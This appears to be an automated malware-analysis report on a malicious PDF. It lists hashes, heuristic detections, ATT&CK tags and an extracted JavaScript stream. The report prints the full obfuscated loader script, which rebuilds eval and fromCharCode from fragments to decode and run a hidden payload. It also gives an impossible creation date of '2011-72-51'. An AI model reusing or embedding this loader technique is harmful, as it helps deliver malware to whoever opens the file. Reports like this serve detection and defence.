Malicious PDF — malware analysis report

Static analysis result for SHA-256 a077a7cc90657f00…

MALICIOUS

PDF

22.9 KB Created: 2011-72-51 03:25:00 First seen: 2013-08-14
MD5: 62511b42d8c4934bbf64e2f40f2987ea SHA-1: 5138eba93e1855f8617a2dafd02758916cfb6f1d SHA-256: a077a7cc90657f00085017c39c117ed539c9f38dbc2867171185940ad6f4d32b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated and uses an eval() call, suggesting it's designed to execute malicious code. The extracted artifact 'javascript_obj0001_000.js' is likely the payload. The obfuscation and use of eval() are common techniques for delivering second-stage malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    GuwbeZiwefug=eval(ZnfeRati+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5818 660 bytes
SHA-256: b08a1ff554b378d6870cc7389cafa0dfbd3b0e570c50b7b21bf13967634a9435
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Bituzosisdisi='';
JujYtdusi = new Date(2010,11,3,2);
var ZnfeRati = function(){return {e:'eva'}}().e;
GuwbeZiwefug=eval(ZnfeRati+'l');
XuquQodor = 'thi'+JujYtdusi.getHours()+'ducer';
TapEmywesy=GuwbeZiwefug(XuquQodor.replace(2,'s.pro'));
FixixaqEetu = TapEmywesy.split('s');
var TiwapOdavoxuwonefu = '';
g = JujYtdusi.getHours();
var ofOqavitunoi = 'fro'+JujYtdusi.getHours()+'arCode';
ofOqavitunoi=ofOqavitunoi.replace(2,'mCh');
WihYt=String[ofOqavitunoi];
for (Jizlug = 0; Jizlug < FixixaqEetu.length; Jizlug++) {
	TuhAhyz = GuwbeZiwefug(FixixaqEetu[Jizlug]);
	TiwapOdavoxuwonefu += WihYt(TuhAhyz);
}
GuwbeZiwefug(TiwapOdavoxuwonefu);

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